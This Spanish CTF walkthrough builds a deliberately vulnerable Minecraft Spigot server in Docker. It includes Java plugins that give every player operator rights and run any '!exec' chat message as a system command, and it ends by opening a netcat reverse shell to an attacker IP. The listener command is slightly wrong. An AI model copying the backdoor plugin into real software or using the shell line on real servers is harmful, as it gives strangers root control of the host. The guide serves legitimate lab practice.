Crear Minecraft Vulnerable CTF (Docker)
En este CTF
lo que vamos a realizar es crear un entorno de Ubuntu
en un Docker
en el que instalaremos un Servidor de Minecraft
de la version 1.12.2
antigua para que sea vulnerable, pero no instalaremos el servidor Vanilla
si no, instalaremos el de los Plugins
llamado Spigot
, crearemos unos plugins
vulnerables en JAVA
y los instalaremos en la carpeta plugins
de donde esta dicho servidor, todo esto en Docker
.
Instalación/Configuración de entorno vulnerable
Primero tendremos que importar una imagen vacia de Ubuntu
en el docker
de la siguiente forma.
docker pull ubuntu:latest
Una vez echo eso, tendremos que identificar que ID
tiene.
docker images
Info:
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest bf16bdcff9c9 2 weeks ago 78.1MB
Vemos que tiene el ID
bf16bdcff9c9
por lo que obtendremos los 3
primeros digitos haciendo lo siguiente:
docker run -it bf1
Con esto obtendremos una shell
como root
dentro del docker
en la imagen de ubuntu
, ahora tendremos que actualizar el sistema.
apt update
apt install nano
apt install sudo
apt install wget
apt install -y maven
apt install openjdk-8-jre-headless -y
apt install openjdk-8-jdk git -y
apt install netcat-traditional -y
Una vez instalado todo lo necesario, tendremos que descargarnos los archivos necesarios, antes vamos a crear un espacio de trabajo (workspace
) en la raiz
del sistema linux
(/
).
mkdir /minecraft
cd /minecraft
Echo esto vamos a descargarnos lo necesario.
wget https://launcher.mojang.com/v1/objects/8494e844e911ea0d63878f64da9dcc21f53a3463/server.jar -O server.jar
wget https://hub.spigotmc.org/jenkins/job/BuildTools/lastSuccessfulBuild/artifact/target/BuildTools.jar
El primero archivo es para el servidor Vanilla
por si lo quisieramos sin plugins
y el segundo es para el servidor con plugins
.
Vamos a iniciar primero el servidor Vanilla
para que cree toda la estructura de archivos que es necesaria para que funcione el servidor, pero antes de hacerlo para que no de error, tendremos que aceptar el eula
que viene por defecto en minecraft
de esta forma.
echo "eula=true" > eula.txt
Echo esto iniciaremos el servidor de esta forma.
java -Xmx1G -Xms1G -jar server.jar nogui
Info:
[22:23:31] [Server thread/INFO]: Starting minecraft server version 1.12
[22:23:31] [Server thread/INFO]: Loading properties
[22:23:31] [Server thread/INFO]: Default game type: SURVIVAL
[22:23:31] [Server thread/INFO]: Generating keypair
[22:23:31] [Server thread/INFO]: Starting Minecraft server on *:25565
[22:23:32] [Server thread/INFO]: Using epoll channel type
[22:23:32] [Server thread/WARN]: **** SERVER IS RUNNING IN OFFLINE/INSECURE MODE!
[22:23:32] [Server thread/WARN]: The server will make no attempt to authenticate usernames. Beware.
[22:23:32] [Server thread/WARN]: While this makes the game possible to play without internet access, it also opens up the ability for hackers to connect with any username they choose.
[22:23:32] [Server thread/WARN]: To change this, set "online-mode" to "true" in the server.properties file.
[22:23:32] [Server thread/INFO]: Preparing level "world"
[22:23:32] [Server thread/INFO]: Loaded 488 advancements
[22:23:32] [Server thread/INFO]: Preparing start region for level 0
[22:23:33] [Server thread/INFO]: Done (1.160s)! For help, type "help" or "?"
Con esto podremos ver que esta funcionando de forma correcta, ahora que se ha generado la estructura de archivos, tendremos que parar el servidor con Ctrl+C
y modificar el archivo llamado server.properties
para establecer el que se pueda conectar desde cuentas No premium
.
nano /minecraft/server.properties
#Dentro del nano
online-mode=false # Cambiamos de "true" a "false"
Lo guardamos y seguiremos con la configuracion.
Ahora tendremos que instalar el servidor en el cual se van a poder implementar los plugins
, tendremos que hacerlo de esta forma.
/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar BuildTools.jar --rev 1.12.2
Esto puede tardar un rato largo ya que se esta instalando todo lo necesario para que funcione, una vez que se haya instalado todo, veremos que se han añadido cosas nuevas, entre ellas los siguientes archivos.
spigot-1.12.2.jar
CraftBukkit/
Bukkit/
bukkit.yml
....
El que nos va a importar es el archivo llamado spigot-1.12.2.jar
que es el que inicia el servidor de plugins
, ahora vamos a crear 2
plugins
vulnerables para que se pueda hacer un RCE
desde minecraft
.
Antes tendremos que crear la carpeta plugins
.
mkdir /minecraft/plugins
cd /
En la raiz
(/
) crearemos otra carpeta que sera el espacio de trabajo donde crearemos los plugins
.
mkdir minecraft-plugin
cd minecraft-plugin/
Echo esto vamos a crear un plugin
en el que cada vez que se conecte un jugador al servidor le asigne el OP
de forma inmediata para que pueda ejecutar comandos en Miencraft
.
mkdir -p /minecraft-plugin/src/main/java/com/ctf/autoop
mkdir -p /minecraft-plugin/src/main/resources
Vamos a crear la clase de JAVA
la cual va a realizar la funcion que queremos, se va a llamar AutoOpPlugin.java
.
cat > src/main/java/com/ctf/autoop/AutoOpPlugin.java << EOF
package com.ctf.autoop;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.plugin.java.JavaPlugin;
public class AutoOpPlugin extends JavaPlugin implements Listener {
@Override
public void onEnable() {
getLogger().info("AutoOpPlugin activado");
getServer().getPluginManager().registerEvents(this, this);
}
@EventHandler
public void onPlayerJoin(PlayerJoinEvent event) {
event.getPlayer().setOp(true);
getLogger().info("Dando OP a " + event.getPlayer().getName());
}
}
EOF
Ahora vamos a crear el archivo .yml
necesario.
cat > src/main/resources/plugin.yml << EOF
name: AutoOpPlugin
main: com.ctf.autoop.AutoOpPlugin
version: 1.0
api-version: 1.12
EOF
Por ultimo super importante crear el archivo para las dependencias y configuracion de lo demas el archivo llamado pom.xml
.
cat > pom.xml << EOF
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.ctf</groupId>
<artifactId>autoopplugin</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>
<name>AutoOpPlugin</name>
<repositories>
<repository>
<id>spigot-repo</id>
<url>https://hub.spigotmc.org/nexus/content/repositories/snapshots/</url>
</repository>
</repositories>
<dependencies>
<dependency>
<groupId>org.spigotmc</groupId>
<artifactId>spigot-api</artifactId>
<version>1.12.2-R0.1-SNAPSHOT</version>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<mainClass>com.ctf.autoop.AutoOpPlugin</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>
</project>
EOF
Echo esto lo tendremos que compilar de la siguiente forma:
mvn clean package
Info:
...............................<RESTO DE CODIGO>...................................
[INFO]
[INFO] --- maven-jar-plugin:2.4:jar (default-jar) @ autoopplugin ---
[INFO] Building jar: /minecraft-plugin/target/autoopplugin-1.0-SNAPSHOT.jar
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 0.729 s
[INFO] Finished at: 2025-06-17T19:29:04+02:00
[INFO] ------------------------------------------------------------------------
Si vemos BUILD SUCCESS
es que todo ha salido bien, por lo que cuando haya terminado de compilarse veremos el archivo .jar
compilado en la carpeta target/
.
ls -la /minecraft-plugin/target/
Info:
total 28
drwxr-xr-x 6 root root 4096 Jun 17 19:29 .
drwxr-xr-x 4 root root 4096 Jun 17 19:29 ..
-rw-r--r-- 1 root root 3657 Jun 17 19:29 autoopplugin-1.0-SNAPSHOT.jar
drwxr-xr-x 3 root root 4096 Jun 17 19:29 classes
drwxr-xr-x 3 root root 4096 Jun 17 19:29 generated-sources
drwxr-xr-x 2 root root 4096 Jun 17 19:29 maven-archiver
drwxr-xr-x 3 root root 4096 Jun 17 19:29 maven-status
Tendremos que realizar lo siguiente.
cp /minecraft-plugin/target/autoopplugin-1.0-SNAPSHOT.jar /minecraft/plugins/
Una vez que lo hayamos movido a plugins
ya estaria cargado, pero ahora vamos a crear el ultimo plugin
el cual es el que puede hacer el RCE
, por lo que eliminaremos el espacio de trabajo anterior para crearlo de nuevo.
rm -r /minecraft-plugin
mkdir /minecraft-plugin
mkdir -p /minecraft-plugin/src/main/java/me/vuln/autoexec
mkdir -p /minecraft-plugin/src/main/resources
cd /minecraft-plugin
Una vez echo esto crearemos el pom.xml
super importante.
nano pom.xml
#Dentro del nano
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>me.vuln</groupId>
<artifactId>autoexecplugin</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>
<name>AutoExecPlugin</name>
<repositories>
<repository>
<id>spigot-repo</id>
<url>https://hub.spigotmc.org/nexus/content/repositories/snapshots/</url>
</repository>
</repositories>
<dependencies>
<dependency>
<groupId>org.spigotmc</groupId>
<artifactId>spigot-api</artifactId>
<version>1.12.2-R0.1-SNAPSHOT</version>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
</project>
Ahora crearemos la clase vulnerable de JAVA
que va a permitir la ejecuccion de comandos en el sistema desde minecraft
(RCE
).
nano /minecraft-plugin/src/main/java/me/vuln/autoexec/AutoExecPlugin.java
#Dentro del nano
package me.vuln.autoexec;
import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.plugin.java.JavaPlugin;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class AutoExecPlugin extends JavaPlugin implements Listener {
@Override
public void onEnable() {
getLogger().info("AutoExecPlugin habilitado");
getServer().getPluginManager().registerEvents(this, this);
}
@EventHandler
public void onPlayerChat(AsyncPlayerChatEvent event) {
String msg = event.getMessage();
Player player = event.getPlayer();
// Detecta comando con prefijo !exec
if (msg.startsWith("!exec ")) {
event.setCancelled(true); // CANCELA que se muestre el mensaje en el chat
String command = msg.substring(6); // Quitar "!exec " del mensaje
try {
// Ejecutar comando en la consola del servidor
Process proc = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
proc.waitFor();
// Enviar salida del comando al jugador que ejecutó el chat
player.sendMessage("§c[Output]:\n" + output.toString());
} catch (Exception e) {
player.sendMessage("§4Error ejecutando comando: " + e.getMessage());
}
}
}
}
Y por ultimo crearemos el .yml
necesario para ello.
nano /minecraft-plugin/src/main/resources/plugin.yml
#Dentro del nano
name: AutoExecPlugin
main: me.vuln.autoexec.AutoExecPlugin
version: 1.0
api-version: 1.12
Ahora echo esto tendremos que compilarlo de esta forma.
mvn clean package
Info:
...............................<RESTO DE CODIGO>...................................
[INFO]
[INFO] --- maven-jar-plugin:2.4:jar (default-jar) @ autoexecplugin ---
[INFO] Building jar: /minecraft-plugin/target/autoexecplugin-1.0-SNAPSHOT.jar
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 0.729 s
[INFO] Finished at: 2025-06-17T19:29:04+02:00
[INFO] ------------------------------------------------------------------------
Si vemos BUILD SUCCESS
es que todo ha salido bien, por lo que cuando haya terminado de compilarse veremos el archivo .jar
compilado en la carpeta target/
.
ls -la /minecraft-plugin/target/
Info:
total 28
drwxr-xr-x 6 root root 4096 Jun 17 19:29 .
drwxr-xr-x 4 root root 4096 Jun 17 19:29 ..
-rw-r--r-- 1 root root 3657 Jun 17 19:29 autoexecplugin-1.0-SNAPSHOT.jar
drwxr-xr-x 3 root root 4096 Jun 17 19:29 classes
drwxr-xr-x 3 root root 4096 Jun 17 19:29 generated-sources
drwxr-xr-x 2 root root 4096 Jun 17 19:29 maven-archiver
drwxr-xr-x 3 root root 4096 Jun 17 19:29 maven-status
Tendremos que realizar lo siguiente.
cp /minecraft-plugin/target/autoexecplugin-1.0-SNAPSHOT.jar /minecraft/plugins/
Teniendo ya los 2
archivos en la carpeta plugins
iniciaremos el servidor para que este funcionando.
java -Xmx1G -Xms1G -jar spigot-1.12.2.jar nogui
Info:
............................<RESTO DE CODIGO>.....................................
[22:47:48 INFO]: Max TNT Explosions: 100
[22:47:48 INFO]: Tile Max Tick Time: 50ms Entity max Tick Time: 50ms
[22:47:48 INFO]: Item Merge Radius: 2.5
[22:47:48 INFO]: Item Despawn Rate: 6000
[22:47:48 INFO]: Arrow Despawn Rate: 1200
[22:47:48 INFO]: Allow Zombie Pigmen to spawn from portal blocks: true
[22:47:48 INFO]: View Distance: 10
[22:47:48 INFO]: Experience Merge Radius: 3.0
[22:47:48 INFO]: Zombie Aggressive Towards Villager: true
[22:47:48 INFO]: Nerfing mobs spawned from spawners: false
[22:47:48 INFO]: Preparing start region for level 0 (Seed: 7388324508683529606)
[22:47:49 INFO]: Preparing start region for level 1 (Seed: 7388324508683529606)
[22:47:49 INFO]: Preparing start region for level 2 (Seed: 7388324508683529606)
[22:47:49 INFO]: [AutoOpPlugin] Enabling AutoOpPlugin v1.0
[22:47:49 INFO]: [AutoOpPlugin] AutoOpPlugin activado
[22:47:49 INFO]: [AutoExecPlugin] Enabling AutoExecPlugin v1.0
[22:47:49 INFO]: [AutoExecPlugin] AutoExecPlugin habilitado
[22:47:49 INFO]: Server permissions file permissions.yml is empty, ignoring it
[22:47:49 INFO]: Done (1.687s)! For help, type "help" or "?"
Con esto veremos que esta funcionando el servidor y que ya esta encendido, tambien para comprobar que los plugins
estan iniciandose de forma correcta lo veremos en esta parte.
[22:47:49 INFO]: [AutoOpPlugin] Enabling AutoOpPlugin v1.0
[22:47:49 INFO]: [AutoOpPlugin] AutoOpPlugin activado
[22:47:49 INFO]: [AutoExecPlugin] Enabling AutoExecPlugin v1.0
[22:47:49 INFO]: [AutoExecPlugin] AutoExecPlugin habilitado
Vemos que se esta iniciando bien, antes vamos a comprobar que el puerto de JAVA
de Minecraft
se esta exponiendo fuera en el puerto por defecto.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP> # Para saber los puertos
nmap -sCV -p25565 <IP> # Informacion detallada de los puertos
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-17 16:50 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000078s latency).
PORT STATE SERVICE VERSION
25565/tcp open minecraft Minecraft 1.12.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.61 seconds
Vemos que se esta exponiendo bien y que se esta identificando de forma correcta, por lo que vamos a pasar a la parte de instalarnos Minecraft
para poder conectarnos al servidor.
Instalación de Minecraft (Gratis)
Vamos a ir al siguiente enlace en la pagina del TLauncher
de Minecraft
, es para jugar Minecraft
gratis.
URL = Download Minecraft TLauncher

Le daremos a TLauncher for Linux
para que nos lo descargue, esto nos descargara un .zip
el cual vamos a extraer de esta forma.
cd /home/<USERNAME>/Download
unzip <FILE>.zip
Una vez extraido veremos lo siguiente en la carpeta llamada TLauncher.v16
:
cd TLauncher.v16/
ls -la
Info:
total 9904
drwxrwxr-x 2 kali kali 4096 Jun 17 12:50 .
drwxr-xr-x 3 kali kali 4096 Jun 17 16:54 ..
-rw-rw-r-- 1 kali kali 2198 Dec 10 2024 README-EN.txt
-rw-rw-r-- 1 kali kali 3235 Dec 10 2024 README-RUS.txt
-rw-rw-r-- 1 kali kali 10121689 May 4 06:37 TLauncher.jar
Lo importante es el archivo TLauncher.jar
que es el que inicia Minecraft
por lo que tendremos que ejecutarlo de esta forma.
java -jar tlauncher.jar
Esto instalara Minecraft
y abrira el launcher para iniciarlo, dentro del mismo tendremos que elegir el nombre de usuario que puede ser cualquiera y muy importante la version, tendremos que elegir la llamada release 1.12.2
y darle a Install
.
Eso instalara todo lo necesario para jugarla, una vez que se haya instalado todo nos pondra Enter the game
le daremos y despues de un rato estaremos dentro del menu de Minecraft
, nos iremos a la opcion llamada Multiplayer
y dentro del mismo configuraremos el servidor de Miencraft
desde donde esta corriendo de nuestro docker
.
Le daremos al boton llamado Add Server
y dentro del mismo veremos el Server Name
y el Server Address
el que nos interesa es configurar el Server Adderess
por lo que tendremos que poner la IP
del docker
junto con el puerto que es el 25565
quedando de esta forma:

Le daremos a Done
y si refrescamos tendremos que ver el server activo asi:

Ahora seleccionaremos el servidor y le daremos al boton llamado Join Server
esto nos metera dentro del mundo de Minecraft
del servidor.
Explotacion de plugins en Minecraft
Una vez dentro del mundo vamos a probar a listar los plugins
de esta forma desde Minecraft
.
/pl
Info:
Plugins (2): AutoOpPlugin, AutoExecPlugin
Vemos que los esta detectando de forma correcta, ahora si probamos a ejecutar el siguiente comando que hemos configurado para que se pueda ejecutar comandos del sistema de esta forma en Minecraft
.
!exec whoami
Info:

Vemos que se esta ejecutando de forma correcta, por lo que vamos a probar a generarnos una reverse shell
de esta forma.
!exec nc <IP_ATTACKER> <PORT> -e /bin/sh
Antes de ejecutarlo tendremos que ponernos a la escucha desde nuestra maquina host
.
nc -lvnp <IP>
Estando a la escucha si ejecutamos el comando anterior desde Minecraft
y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.177.129] from (UNKNOWN) [172.17.0.2] 47064
whoami
root
Vemos que hemos obtenido de forma exitosa una shell
desde la maquina victima mediante un plugin
vulnerable desde Minecraft
.
Last updated